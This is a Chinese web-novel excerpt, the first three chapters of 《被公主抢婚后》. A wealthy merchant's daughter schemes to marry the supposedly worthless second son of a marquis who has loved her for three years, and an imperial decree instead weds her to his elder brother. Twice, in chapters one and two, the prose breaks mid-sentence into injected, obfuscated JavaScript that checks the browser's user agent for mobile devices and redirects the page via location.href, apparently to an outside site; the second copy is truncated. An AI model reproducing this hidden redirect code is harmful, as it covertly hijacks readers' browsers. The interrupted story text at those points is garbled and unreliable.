《被公主抢婚后》 1. 第 1 章 大宋神起四年,八月初三。 易:婚娶。 京城薛府深处有一处名为“凝香阁”的精舍,其华丽绝非寻常。雕梁画栋间,金丝楠木的窗棂透出细碎的光影,映照着室内琉璃盏中摇曳的烛火,将墙上名家字画镀上一层柔和的光晕。 夜风轻拂,带来阵阵桂花暗香。 两名绿甲青裙的丫鬟站在廊下,即便如今已经掌月之时仍旧背脊挺直。步入闺房,则又是另一番天地。入目是雅致的紫檀木雕花拔步床,床幔以天青色苏绣薄纱垂落,绣着暗纹的祥云瑞鹤,轻柔地隔开一方女儿家的私密天地。几案上摆放着汝窑瓷瓶,瓶中插着几枝新摘的玉兰,清雅的香气与窗外偶尔飘入的桂花香混杂,自成一派清贵。 薛楚楚临窗而坐,纤细的身影在月光下显得格外玲珑。她身着一袭浅绯色的常服,看似随意却是云锦织就,光泽流转间尽显奢华。衣袖与裙摆处,以金线细密地绣着缠枝牡丹,每一针一线都凝聚着江南绣娘的巧思,虽是平日所穿,却足以媲美寻常贵女的盛装。 她留着半寸豆蔻的玉指轻拈一卷书册,眉眼低垂,乌发如瀑般倾泻而下,衬得肤色欺霜傲雪,顾盼之间,自有一股不染尘嚣的清雅贵气。然而,那双美眸中却闪烁着与年龄不符的深沉与睿智。 “小姐,”门外传来贴身丫鬟的轻声禀报,“隐伍的新报。” 薛楚楚指尖划过书册轻启朱唇,声音淡漠:“进来。” 翠儿推门而入,恭敬地走到近前,压低声音道:“回小姐,那位今夜在望月楼喝得烂醉如泥。” 薛楚楚纤长的睫毛轻颤,神色不变:“嗯。” 白皙的手指捻起信纸扫了一眼,随即凑到烛火上,火苗舔舐着纸张很快将其吞噬,橘红色的光映着她那张清丽的脸明暗不定。 薛楚楚看着那点灰烬,嘴角弯起一个极淡的弧度,那笑意不达眼底,反而透着几分意味深长的玩味。 传闻中的宁侯府二公子,是个彻头彻尾的废物。 她的人查到的,却远比传闻精彩得多。 这个所谓的“废物”,三年来悄无声息地替她处理了至少十七拨想找茬的商行,三十二个上门勒索的地痞流氓,甚至还匿名买下了城东那块被所有人都认定是废地的地皮——只因为她无意中对下人提过一句,那里的夕阳很好看。 更让人意外的是,这位“纨绔二公子”处理那些麻烦时展现出的手段,绝非寻常废物所能为之。那些地痞流氓事后都对外宣称是“撞了鬼”。更有意思的是,那些被教训的恶霸们,事后竟然都改邪归正,有的开始正经做生意,有的干脆远走他乡,再不敢在京城作恶。 这哪里是简单的暴力威慑?分明是在用最直接的方式,为这座城市清除毒瘤。 有趣。 真是有趣的人。 薛楚楚纤长的手指轻抚着桌案上的紫檀木纹,脑海中浮现出那张俊美却总是带着几分颓废的脸。每次在望月楼远远看见他时,那双桃花眼里总是藏着一种让人心疼的脆弱和小心翼翼,像是怕被人发现什么珍贵秘密一般,匆匆移开视线。 可她偏偏注意到了,那双看似漫不经心的眼眸深处,藏着的那抹深情和执着。三年如一日,风雨无阻,那份默默守护的坚持,比世上任何山盟海誓都要动人。 这样的男人,实在是太有趣了,便是做戏,薛楚楚也佩服对方的坚韧。 薛楚楚取过一张新的宣纸,提起紫毫笔,饱蘸浓墨。笔尖悬在纸上片刻,仿佛在思索着什么重要的决定。 随后,笔尖落下,两个清隽有力的字跃然纸上。 顾湘。 薛楚楚盯着那个名字眸光微动,像一个棋手在审视一颗看似无用,却或许能在关键时刻,搅动满盘风云的棋子。 罢了,早晚用得上。 她轻轻吹干墨迹,将纸张小心收好,眼中闪过一丝连她自己都未曾察觉的情绪。 “青禾,服侍我安置。” …… 翌日清晨,清晨的阳光透过霞影纱,唤醒了沉睡中的少女。 用罢早膳,薛楚楚一身素色长裙,腰间系着一条云锦绦带,靠在云团榻上垂眸看着手中的账本。与昨日的清冷不同,此刻的她,眉宇间透着一股凌厉之气,那双美眸锐利仿佛能穿透那一行行数字,看到背后隐藏的巨大财富和无尽商机。 “小姐,南边的丝绸生意,赵掌柜那边又在使绊子了。”贴身侍女青禾将一盏茶放在台桌上,轻声禀报。 她的声音里带着几分愤慨:“他联合了几个老字号,想抬高生丝的价钱,断我们新开的''霓裳坊''的货源。那老东西还放话说,一个黄毛丫头也想在丝绸行当立足,简直是痴人说梦。” “赵德福?”薛楚楚头也没抬,修长的手指在账本上轻点,语气平淡得仿佛在说今日天气,“他那点守旧的老脑筋,也就只能想出这种上不了台面的招数了。井底之蛙,还以为天下人都和他一样目光短浅。” 她翻过一页账本,淡淡地吩咐:“告诉我们在江南的管事,不必理会他们的小动作。把我们去年囤的那批上等云锦放出去,价格比市面低一成。另外,放出风声,就说''霓裳坊''下个月要推出一种全新的面料,叫''蕾丝'',专门供给宫里的贵人们制作夏日常服。” 青禾愣了一下,小心翼翼地问:“小姐,咱们哪有什么''蕾丝''面料?这个名字听着就很特别,可从未见过啊。” 薛楚楚终于抬起头,清澈的眼眸里满含着胸有成竹的笑意,那种智珠在握的自信,让她整个人都散发着夺目的光彩:“现在没有,下个月就有了。我已经让人去江南寻找最巧手的织娘,用一种全新的编织手法,做出镂空花纹的薄纱,轻盈透气,最适合夏日穿着。赵德福他们不是喜欢囤货抬价吗?那就让他们继续囤。等他们把银子都砸进了传统生丝里,我们再把真正的''蕾丝''推出来,到时候看看,究竟是谁的货更受欢迎。” 她放下账本,走到窗边,看着院中那棵枝繁叶茂的银杏树,语调轻缓却透着不容置疑的威严:“商场如战场,兵不厌诈。既然他们要玩,我就陪他们玩到底。不仅要收回被他们哄抬的价格差额,还要让他们明白,小看薛家女儿的代价。” 青禾恍然大悟,心中对自家小姐的敬佩又增添了几分。这招“声东击西、釜底抽薪”,实在是妙!那些老奸商们怕是做梦都想不到,会被一个十八岁的姑娘耍得团团转,最后还要乖乖认栽。 “是,奴婢这就去安排。那些老家伙看不起女子,这次可要吃大亏了。”青禾兴奋地退下,心里已经开始期待。 青禾退下后,薛楚楚脸上的笑意却慢慢淡了下去,取而代之的是一种深沉的忧虑。 她走到窗边,纤细的手指轻抚着窗棂,看着院子里那棵需要两人合抱的银杏树,眼神变得幽深如古井。处理这些商场上的明争暗斗,对她来说不过是小菜一碟,真正的挑战,还在后头。 真正让她头疼的,是更深层次的困境——一个身为女子,永远无法摆脱的桎梏。 薛家富可敌国,是天下第一的皇商,生意遍布大江南北,甚至远达西域。可这泼天的富贵,却像一座华丽的牢笼,将她牢牢困住。 只因为她是女儿身。 薛家的族规写得明明白白:家产传男不传女,这是祖宗定下的规矩,千年不变。若无子嗣,则由族中长□□同推举旁支子弟继承。女子即便不出嫁,也没有实际的权力执掌家族产业。若是成婚后,无有合适的继承人,可以掌管产业。 不得不说,有些讽刺。 她爹薛员外只有她一个女儿,眼看年岁渐长,身体也大不如前,族里那些所谓的叔伯长辈们,一个个都像闻到血腥味的鲨鱼,开始蠢蠢欲动。 他们看着她的眼神,不是看一个才华横溢的继承人,而是看一件可以用来联姻、为家族换取更大利益的“货物”。每次族会上,那些肥头大耳的族叔们总是意味深长地说:“楚楚啊,你也不小了,是该找个好人家了。女大不中留,再拖下去,可就成了老姑娘了。” 言下之意,无非是想让她嫁个听话的废物,然后他们好名正言顺地瓜分薛家的万贯家财。 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495972|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚楚怎么可能甘心? 这庞大的商业帝国,是她从小耳濡目染,倾注了无数心血的地方。那些账本上的每一个数字,她都了如指掌;那些遍布天下的商路,她比任何人都清楚;那些复杂的商业策略,更是她亲手制定。她比任何人都清楚,那些脑满肠肥、只知道坐享其成的族人,只会把薛家这艘巨轮带向覆灭的深渊。 她要掌控薛家,完完整整地掌控! 唯一的办法,就是在她爹百年之前,找到一个“合法”的身份,一个能让她名正言顺地压制所有族人、掌控家族产业的身份。 嫁人,是唯一的出路。 但不是嫁给任何人,而是要嫁一个身份足够高,又能为她所用,最关键的是——不会干涉她经商的人。 她的目光,早就落在了京城各大世家的名册上,一个个地分析过、权衡过。 宁远侯府,自然也是她的备选项。 顾家大公子顾泽,新科探花、文韬武略、风光霁月、前途无量、为人正直、品格高洁,在他的身上有着无数溢美之词,是个完美的联姻对象。 但……太正直了,也太有主见,不好掌控。一旦他入朝为官,夫妻二人聚少离多,她想借势发展,难如登天。而且这样的正人君子,绝不会容忍妻子抛头露面经商,更别说让她全权掌控娘家产业了。在他心里,女子就该在内宅相夫教子,是亘古不变的歪理拥护者。 而顾家二公子顾湘…… 薛楚楚的脑海里浮现出那张俊美却总是带着几分玩世不恭的脸,还有那双藏着无尽深情的桃花眼。 京城第一纨绔、废物、败家子、顾家的污点。 所有人都这么说,连他的亲生父亲都对他失望透顶。 可薛楚楚不这么认为。 一个真正的废物,不会有那样深沉又痛苦的眼神,不会在看到她时,眼底闪过那种小心翼翼的珍视和克制。一个真正的败家子,不会连续三年,风雨无阻地出现在望月楼,只为了看她一眼,却从不敢上前搭讪。更不会在她车队遇到麻烦时,次次都那么“巧合”地有人出手解围,事后还不留痕迹。 最关键的是,她的暗卫曾经跟踪过那些帮她解决麻烦的神秘人,发现他们最后都会回到一个地方——顾府的后门。而每次那些人回府后,第二天顾湘的身边就会多出一些新的伤痕,虽然他总是小心遮掩,甚至还会故意闯出些祸。 让人不觉啼笑皆非。 更重要的是,他“废物”的名声,和他对自己的那份未确定的“深情痴恋”,都让他成了一个最好掌控的棋子。一个貌似深爱她的男人,不管真假,他都比顾泽更好控制。 若说昨日她还有些犹豫,但经过一晚的冷静,薛楚楚可以肯定,顾湘就是那枚最适合放在夫君位置上的棋子。 若是她成了他的妻子,以顾侯府二夫人的身份,再加上她自己的手腕和财力,足以让薛氏族中那些老家伙们闭嘴。而一个“纨绔夫君”,永远不会干涉她执掌薛家家业,甚至会成为她最忠实的拥护者和守护者。 这简直是为她量身定做的完美人选。 唯一的障碍,就是顾家和皇上的意愿。在所有人眼里,薛家这样的富商之女,要嫁入顾侯府,也该是嫁给前途无量的大公子顾泽,而不是那个“一无是处”的二公子。 所以,她需要一个契机,一个能让这桩看似“名不正言不顺”的婚事,变得“门当户对”的契机。 一个能让顾泽娶不了她的契机。 未等薛楚楚想好谋划,青禾又匆匆走了进来,神色有些古怪,还带着几分紧张:“小姐,宫里刚刚传来消息。” 薛楚楚眉头微蹙,转过身来:“什么消息?这么急匆匆的。” “皇上有意为顾家大公子赐婚,对象……”青禾顿了顿,小心翼翼地看着自家小姐的脸色,“就是小姐您。听说圣旨就要下来了。” 薛楚楚手中的茶盏停在半空,清澈的眸子里闪过一丝深思,随即,嘴角缓缓勾起一个意味深长的笑容。 来了。 她的机会,终于来了。 2. 第 2 章 八月初二。 忌:婚娶。 “顾二,还看呢?魂儿都被勾走了。” 望月楼三楼的雅间里,一只油腻腻的鸡爪伸过来,被顾湘一巴掌拍开。 狐朋狗友曾六六也不恼,嘿嘿一笑,用胳膊肘顶了顶他,顺着那道黏在楼下不动的视线望去,顿时乐了。 “哟,又是薛家那位小神仙。我说顾二,你天天来这儿蹲点,一蹲就是三年,不腻味啊?人家什么身份,天下第一财神爷的独苗,眼光高到天上去了,还能瞧得上咱们?” 顾湘没搭理他,一双平日里总是睡不醒似的桃花眼,此刻直勾勾地盯着楼下那顶青帷小轿。 秋风调皮,撩开轿帘一角,露出一张干净到过分的侧脸。 她正垂眸看着手里的册子,指尖在账目上轻轻划过,整个人专注又安静,与楼下喧闹的街市像是隔着一层看不见的屏障。偏偏就是这份格格不入,让整条长街的活色生香,都成了她的陪衬。 薛楚楚。 是他顾湘,在阴沟里仰望了整整三年的月亮。 心口猛地一缩,顾湘喉结滚动,端起酒杯一饮而尽。烈酒烧过喉咙,却浇不灭心底那团烧了三年的火。 三年前,也是在这望月楼。 他斗鸡输了钱,被对家指着鼻子骂“宁远侯府养的废物”,心里窝着火,正准备下楼随便找个不长眼的倒霉蛋撒气。 一脚刚踏出雅间门,就撞见了她。 她从轿子里下来,抬头的那一瞬,阳光恰好落在她脸上,那双清澈见底,却又好似能看穿人心的眼睛,平静地扫了他一眼。 没有鄙夷,没有好奇,甚至没有寻常人看见他时那抹藏不住的嫌恶。 就好像,他只是一块路边的石头,一棵不碍事的树。 可就是这一眼,让顾湘满身的邪火和戾气,瞬间被抽了个干净。 他像个傻子一样愣在原地,看着她走进对面的“薛家银号”,看着她面对一群闹事的壮汉,用最柔的嗓音,说着最硬的话,三言两语就将一场挤兑风波化于无形。 那种从容不迫,那种云淡风轻,狠狠砸在了顾湘的心上。 那一刻,他头一次觉得自己这十七年,活得像个笑话。 他——宁远侯府二公子,京城第一纨绔,除了正事不干,什么都干。是父亲口中的“孽障”,是满门清流里的唯一污点。 而她,虽是商家之女,却比世上任何一个贵女都来得耀眼,强大得像一座不可撼动的山。 从那天起,顾湘的纨绔生涯里,多了一项雷打不动的日程——远远地看着她。 他花大价钱盘下望月楼这个能俯瞰整条街的雅间,只为看她每七日进出银号的身影。 他会收买薛府的下人,只为知道她今天多吃了一块什么点心、看了哪本书。他甚至会偷偷跟在她的车马后头,看见有地痞流氓想上前寻衅,便让自己的小厮先一步“不小心”地把人套进麻袋里,拖去暗巷解决。 他在暗地里为她做了无数上不得台面的事,却从不敢让她知道半分。 他拿什么让她知道? 用他斗鸡赢来的彩头,还是用他逛花楼攒下的名声?纵然他连通房都未有,可又有谁信? “废物”“败家子”“扶不上墙的烂泥”……这些烙印早就刻进了他的骨头里。连他亲爹,当朝宁远侯都曾指着他的鼻子骂:“我顾家世代忠良,怎么就生出你这么个东西!你看看你大哥,再看看你!” 是啊。 他大哥顾泽,文韬武略风光霁月,更是顾家的骄傲,新科探花前途无量。 而他顾湘,就是那骄傲上的一点泥。 这样的自己,凭什么脏了她的眼? 顾湘自嘲地扯了扯嘴角,又是一杯酒灌了下去,苦得他五脏六腑都揪了起来。 “行了行了,别喝了。”旁边的吴思捷看不下去了,“人早走了,你这副样子给谁看呢?” “就是,”曾六六压低声音,鬼鬼祟祟地凑过来,“我可听说个消息,不知真假啊。说宫里头最近有动静,想给你大哥就是那个探花郎——顾泽指婚呢。 对象嘛……嘿,就是这位薛家的小仙女。哎,这顾泽也说不上是幸运还是倒霉呢?” “你说什么?!” “哐当”一声脆响,顾湘手里的酒杯砸在地上,碎成了几瓣。 他猛地揪住曾六六的衣领,一双桃花眼里瞬间布满血丝,像一头被逼到绝路的困兽。 “你再说一遍!” 那声音嘶哑得吓人,带着他自己都没察觉到的恐惧。 曾六六被他这副要吃人的模样吓得一哆嗦,结结巴巴地说:“我……我也是听我那在吏部当差的表叔说的……说……说是皇上有意拉拢薛家,毕竟薛家那钱……能把国库的亏空填平了。再者,也算是安抚、安抚侯爷,毕竟……你懂的……” 后面的话,顾湘一个字都听不清了。 脑子里嗡嗡作响,天旋地转。 要把薛楚楚,嫁给他大哥? 那个从小到大,什么都比他好,什么都比他强的顾泽?那个被父亲夸、被世人赞的顾泽? 凭什么? 凭什么他藏在心尖上,连想一想都觉得是亵渎的人,他那个完美无缺的大哥,可以这么轻易地得到? 一股混杂着嫉妒、不甘和绝望的狂怒,瞬间冲垮了顾湘最后一丝理智。他猛地推开曾六六,像头发了疯的野狗,跌跌撞撞地冲出了雅间。 …… 夜色如墨。 顾湘烂醉如泥,被小厮从“望月楼”的酒坛子堆里拖出来,嘴里还含糊不清地念着一个名字。 “楚……不……不能说她的名字……”顾湘早已没有了意识,口中却还在低声呢喃:“不能让她跟我有牵扯……” 小厮叹了口气,自家这主子算是彻底栽了,都这样子了,醉话都知道不能说那位姑娘的名讳。 可是,就算自家少爷这般,那位月中仙也看到啊,小厮双手合十:“玉皇大帝、王母娘娘,三清在上,还有财神爷……甭管是哪位神仙,只求您能圆了我家公子的愿,哪怕是一天也成,小的愿意从此三跪九叩吃斋念佛。 昏沉沉的顾湘只觉得耳边一直有只苍蝇在嗡嗡,他恼怒的一巴掌想挥开。 …… 第二日,顾湘宿醉未醒,就被小厮从床上拖了起来,直接扔进了顾侯爷的书房。 他跪在冰凉的地砖上,膝盖传来的刺痛让他稍微清醒了些。还没来得及抱怨,一本厚厚的《大宋律》就“啪”的一声砸在他面前,书页翻飞,扬起一阵尘土,惊得他一个激灵。 “跪好!” 宁远侯顾渊端坐于书案后,面色铁青如锅底,眼神锐利如鹰,死死地盯着这个不成器的儿子。那双眼睛里,写满了失望、愤怒,还有一种深深的无力感。 “你看看你现在是什么样子!”顾渊猛地站起身,指着顾湘怒道,“一身的酒气熏天、眼浮脚漂、衣衫不整,你还记不记得自己姓什么?你还记不记得你是顾侯府的公子!” 顾湘低着头,没说话。他当然记得,他姓顾,宁远侯府的顾。可这个姓氏带给他的,从来不是荣耀,而是沉重的枷锁和无尽的对比。每一次别人提起“顾家二公子”,都是带着嘲讽和不屑的。 他的手指无意识地抠着地砖的缝隙,可惜干净的金砖根本就没有让他清扫的缝隙。 “我让你去望月楼,是让你跟那些世家子弟学学诗文策论,结交些有用的朋友,你倒好!”顾渊越说越气来回踱步,声音都在发抖,“天天跟一群狐朋狗友混在一起,喝酒闹事,斗鸡走狗!昨天又为什么打架?你告诉我,你为什么要打架?!” 顾湘身子一颤,脑子里不由自主地闪过曾六六那张欠揍的脸,和他说的那些污言秽语。 “薛家小姐要嫁给你大哥了,你这个癞蛤蟆,还想吃天鹅肉?哈哈哈哈……” “顾湘,你就是个笑话!连你爹都看不起你,你还妄想什么?” “薛小姐那样的仙女,怎么可能看得上你这种废物?你就别做梦了!” 心,又开始抽痛,像是有人拿着刀子在他心口一下下地割着。 他猛地抬头,眼睛里布满血丝,声音沙哑得像破了的锣:“爹,大哥……真的要娶薛家小姐吗?” 这句话一出口,整个书房都安静了。 顾渊没想到他会问这个,愣了一下,随即怒火更盛,脸色涨得通红:“放肆!这也是你该问的?怎么,你一个纨绔,还敢有别的想法不成?” “我没有!”顾湘几乎是吼出来的,声音在空旷的书房里回荡。 他有什么资格有想法?他只是……不甘心。 凭什么大哥什么都有?家人的期盼,光明的仕途,无数人的赞誉,现在连他放在心尖尖上的人也要被他得到? 老天爷就这么不公平吗? “你没有什么?”顾渊冷笑一声,他太了解这个儿子了,那点小心思,早就被他看得透透的,“我警告你,顾湘,收起你那些不该有的龌龊心思!薛家是商户出身,我顾家是勋贵世家,若不是皇上有意,你大哥这等探花之才,也断不会娶一介商女!你呢?” 他走到顾湘面前,居高临下地看着他,每个字都像刀子一样扎进顾湘的心里: “纵然那商女出身低,却也不是你能糟蹋的。你一个连秀才都考不上的废物,你拿什么去想?拿你斗鸡赢来的那几只公鸡,还是你在窑子里听的那些下流艳曲?还是拿你那些不学无术的狐朋狗友?” 字字诛心,句句见血。 顾湘的脸瞬间血色尽失,他知道自己混账,知道自己是废物,可被亲生父亲这样毫不留情地戳穿,还是痛得他几乎无法呼吸。 他双手死死地握成拳头,指甲深深地掐进了掌心,鲜血顺着指缝流了出来,滴在地上开出一朵朵血色的花。 “我告诉你!”顾渊指着他的鼻子,恨铁不成钢地骂道,“这几年新帝上位,我们这些太子旧部本就如履薄冰,随时都有可能被清算!你大哥高中探花,是顾家唯一的希望,是我们能在新朝立足的唯一依仗!这桩婚事,明面上是恩赐,实则是皇上在敲打我们,用商女的身份,断你大哥的入阁!这是我们顾家必须要承受的代价!你懂不懂?!” 顾渊越说越激动,他捂住胸口努力地平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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顾湘摇摇晃晃地站起来,双腿像灌了铅一样沉重。他行尸走肉般地走出了书房,每一步都走得艰难无比。 外面的阳光有些刺眼,明明是夏日的暖阳,他却感觉浑身冰冷,像是掉进了万年寒潭。 有用的人…… 他这辈子,还能成为一个有用的人吗? 他还能有资格,站在她身边吗? 答案,似乎是否定的。 顾湘漫无目的地在府里走着,脚步虚浮,像个游魂。不知不觉,竟走到了顾泽的院子——听雨轩。 透过月洞门,他看到他那位风光霁月的大哥,正站在一棵桂花树下,眉头紧锁,手中拿着一本书,却显然没有心思看。 是啊,大哥怎么会愿意娶一个商女呢?在他眼里,这也是一种屈辱吧。一个探花郎娶一个商户之女,确实是委屈了。 可是,那个商户之女,是他顾湘心尖尖上的人啊…… 是他连靠近都不敢的存在。 顾湘的心,像是被一只无形的手狠狠攥住,疼得他弯下了腰,捂住胸口,大口大口地喘气。 他忽然觉得,这个世界,真是荒唐得可笑。 他爱而不得的人,却是别人避之不及的“牺牲品”。 他想要的一切,都是别人不屑一顾的东西。 而他自己,就是个彻头彻尾的笑话。 就在这时,管家行色匆匆地跑了进来,脚步慌乱,神色惊慌。 “侯爷!大公子!不好了!宫里来人了!是……是来宣旨的!” 圣旨? 这么快? 听雨轩里的顾泽猛地抬头,手中的书“啪”的一声掉在地上。书房里的宁远侯更是“腾”地一下站了起来,脸色瞬间变得煞白。 顾湘也僵住了,他扶着墙,感觉自己的手脚都在发麻,血液仿佛都凝固了。 该来的,终究还是来了。 很快,顾家上下所有主子都被召集到正堂。偌大的厅堂里,气氛凝重得像要滴出水来。 顾渊和顾泽站在一旁,神情肃穆。顾夫人死死地攥紧手中的帕子,眉目间尽是忧虑。 顾湘则被安排在最末尾的位置,像个无足轻重的影子,没有人关注他,也没有人在意他此刻的心情。 一个面白无须的老太监,身穿紫色官袍,手捧一卷明黄的圣旨,站在厅堂中央。他扫视了一眼跪了一地的顾家人,尖细的嗓音在安静的空气中显得格外刺耳: “圣旨到——宁远侯接旨!” “吾皇万岁万岁万万岁!” 以顾渊为首,顾家众人齐刷刷跪了一地,额头贴地,不敢抬头。 顾湘也跪着,额头紧紧贴着冰凉的地砖,刺骨的凉意从额头传遍全身,竟然比那年为了薛姑娘在雪中卧伏三日还要让他浑身冰凉。 他能清晰地听到自己擂鼓般的心跳声,一声比一声重,敲得他头晕眼花,几乎要晕厥过去。 不要…… 求求你,不要…… 他在心里疯狂地呐喊,指甲深深地掐进了掌心,血水混着汗水涂抹在地砖上,却不敢发出一点声音。 3. 第 3 章 老太监尖细的嗓音如同被毒液浸泡过的冰锥,带着不容置疑的皇权,一字一句地刺入顾湘的耳膜,再狠狠凿进他的心口。明黄的绢帛在阳光下晃得人眼花,他却只觉眼前一片漆黑。 “奉天承运,皇帝诏曰:兹闻宁远侯府长子顾泽,才学出众,品貌端方,高中探花,文韬武略,实乃国之栋梁。另有皇商薛氏之女薛楚楚,聪慧贤淑,秀外慧中,逢商贾之家而有大家闺秀之风。朕闻之甚悦,特此赐婚,灼灼其华,宜家宜室,择吉日完婚。望二人婚后,琴瑟和鸣,夫唱妇随,共效于朝,以报皇恩。钦此——” “钦此!” 这两个字,像一声惊雷,在顾湘耳边轰然炸开,震得他五脏六腑都在颤抖。他世界里所有的声音、光芒、色彩,都在这一瞬间被彻底抽离。只剩下无边无际的黑暗,和从骨髓里渗出来的冰冷。 嗡—— 他听不到老太监后面那些虚伪的客套话,也看不清父亲和大哥脸上那被刻意压抑的复杂表情。他只觉得自己被丢进了万丈深渊,在无尽的黑暗中急速坠落,坠落,永无止境。 他的光,没了。 那个他偷偷爱了三年,连靠近都不敢的女孩,那个像春日暖阳般照亮他贫瘠世界的薛楚楚,从今天起,就要被冠上他顾家的姓氏,成为他的……大嫂。 大嫂。 这两个字,带着血腥的嘲讽,在他舌尖反复碾磨,腥甜的味道从喉咙里直冲上来。顾湘死死咬住嘴唇,指甲深陷掌心,才堪堪止住那股即将喷薄而出的血腥。他的心脏仿佛被一只无形的手死死攥住,呼吸艰难得像要溺毙。 “臣,顾渊,领旨谢恩!” “臣,顾泽,领旨谢恩!” 父亲和大哥的声音,沉重得像两记重锤,将顾湘心里那最后一点点,卑微到尘埃里的幻想,也敲得粉碎。他眼睁睁看着大哥顾泽,那个永远挺拔如松,完美无缺的男人,双手举过头顶,从老太监手中接过了那卷——要了他半条命的圣旨。 那一刻,顾湘只觉得天旋地转,眼前一片血红。他想冲上去,想把那卷可笑的圣旨撕得粉碎,想揪住顾泽的衣领,大声告诉所有人,他也爱她,他比任何人都爱她!他想歇斯底里地质问,凭什么?!凭什么?! 就因为他顾泽是高中探花,是国之栋梁,而他顾湘,只是个一无是处、人人唾弃的废物吗? 就因为他顾泽是侯府的骄傲,而他顾湘,只是个被厌弃的孽子吗?! 可他动不了,喉咙像被堵住,发不出半点声音。他像一尊被抽走了魂魄的木偶,僵硬地跪在地上,眼睁睁看着自己的世界彻底崩塌。直到所有人都站起身,他才被身边的小厮连拉带拽地扶起,双腿麻木得像踩在云端,站都站不稳。 “恭喜侯爷,恭喜大公子了!”老太监笑得见牙不见眼,收下顾渊递上的厚厚荷包,“薛家小姐可是京城有名的才女,大公子真是好福气啊!” “同喜同喜,有劳公公跑这一趟。”顾渊强撑着笑脸应酬,声音里却带着一丝难以察觉的苦涩。 顾夫人则拉着顾泽的手,眼圈泛红,眼底是掩不住的心疼与无奈:“我儿……” 顾泽轻轻拍了拍母亲的手,那双深邃的眼眸中,情绪复杂得令人看不透。他声音温和却坚定:“母亲放心,儿子明白的,薛小姐极好。” 是啊,她当然好。在他顾湘心里,她是世间最好的。 顾湘脸色惨白,摇摇欲坠,眼中的光芒已经彻底熄灭。没有人知道,就在这一刻,京城第一纨绔的心,彻底死了。他看着那卷明黄的圣旨,觉得那刺眼的颜色,像是在嘲笑他的无能和卑微,将他所有的不堪都暴露在阳光下。 他再也待不下去了。他怕自己再待下去,会真的发疯,会做出什么不可挽回的事情。 顾湘猛地转身,踉踉跄跄地向外冲去,撞倒了身后的天平缸,发出“哐当”一声巨响,他却头也不回。 “这孽子!”顾渊气得低吼一声,却也顾不上去管他。 顾湘一路狂奔,跑出了侯府,跑上了喧嚣的大街。周围的人声、车马声,都变成了模糊的背景音,他的世界里,只剩下那句“赐婚顾泽与薛楚楚”,一遍又一遍,像魔咒一样,在他脑海里疯狂回响。 绝望,像潮水一样将他彻底淹没。 他输了。输得彻彻底底。甚至,连当对手的资格都没有。 顾湘跑进一条无人的小巷,背靠着冰冷的墙壁,缓缓滑坐到地上。他抱着头,肩膀剧烈地颤抖着,压抑了许久的呜咽声,终于从喉咙里溢了出来。那声音,像一头被全世界抛弃的、绝望的孤狼,在寒风中发出哀鸣。 一个曾被京城人称作“小霸王”的顶天立地的男人,在这一刻,哭得像个被遗弃的孩子,撕心裂肺。 宁远侯府的沉郁与绝望,如同被乌云遮蔽的天空,而京城另一端,皇商薛府却是另一番光景,喜气洋洋,如同春日花开。 当那明黄的圣旨抵达薛府时,老太监尖细的嗓音在薛府中堂回荡,字字珠玑,仿佛为薛府的未来添砖加瓦。薛楚楚一袭浅碧色襦裙,静静跪在父亲身侧,听着那字字落定的赐婚诏书。她的脸上没有寻常女儿家被天降喜事砸中的娇羞与欣喜若狂,唯有眼底深处,一丝极浅的波澜,如湖面微风拂过,转瞬即逝。 “钦此——” 当这两个字落下时,薛楚楚的心中,没有顾湘那般天崩地裂的痛楚,反倒像是听到了期盼已久的号角,激荡起微不可察的涟漪。她知道,这一刻,她等待了太久,筹谋了太久。 起身谢恩,接过那象征着无上荣耀与束缚的圣旨时,薛楚楚的指尖触及绢帛,感受到的不是冰冷,而是温热的、即将被她牢牢掌控的未来。 她向老太监致谢举止从容,即便被夸赞“薛小姐真是大家风范,与顾大公子天作之合”,也只是淡淡一笑,眼中并无半分涟漪。 待老太监一行人浩浩荡荡离去,薛府的喜庆氛围达到顶点。下人忙着布置,准备宴席,薛老夫人更是拉着薛楚楚的手,心疼又欣慰地直抹眼泪:“我的儿,总算有了归宿,还是侯府的大公子,探花郎呢!” 薛楚楚轻轻拍了拍祖母的手,柔声道:“祖母莫哭,这是喜事。”她的目光却已悄然投向不远处,那个穿着墨色常服,身形略显富态,却眼神锐利如鹰的男人——她的父亲,薛财神。 薛财神,本名薛景,人称“薛财神”,并非浪得虚名。他白手起家,将薛家从一个不起眼的小商户发展成富甲一方的皇商,其手段之高明,眼光之毒辣,京城无人能出其右。 经商上薛财神眼光犀利未尝败绩,在看人上也是如此,他深知薛楚楚的聪慧,更明白女儿骨子里那份不输男儿的抱负和野心。 “楚楚,随为父来书房。”薛财神没有多言,只是沉声吩咐。 薛楚楚心头一动,她知道,真正的棋局,现在才要开始。 书房内檀香袅袅,茶烟氤氲。薛财神坐在案后,手中把玩着一块羊脂玉佩,目光落在女儿身上,带着审视,也带着几分欣慰。 “顾泽是探花郎,才学品貌皆是上乘,侯府虽是武将之家,却也底蕴深厚。这门亲事对你而言,是天大的体面。”薛财神缓缓开口,声音醇厚而有力,“可为父知道,你心里所想,绝非仅仅是‘体面’二字。” 薛楚楚没有否认,她走到案前,为薛财神斟了一杯新茶,茶香四溢。她知道父亲从不小觑她,也从不将她仅仅视为需要嫁入豪门的女儿。 “父亲明鉴。”薛楚楚的声音清澈而坚定,没有一丝犹豫,“体面自然是好,但体面之下,更应有实利!”她抬眸,眼中精光闪烁,如同两点星辰,熠熠生辉,“女儿想借此婚事,为薛家、也为自己,谋一个更广阔的未来,一个足以掌控乾坤的未来!” 薛财神端起茶盏,轻啜一口,没有插话,只是示意她继续。他知道,女儿的野心,远不止于此。 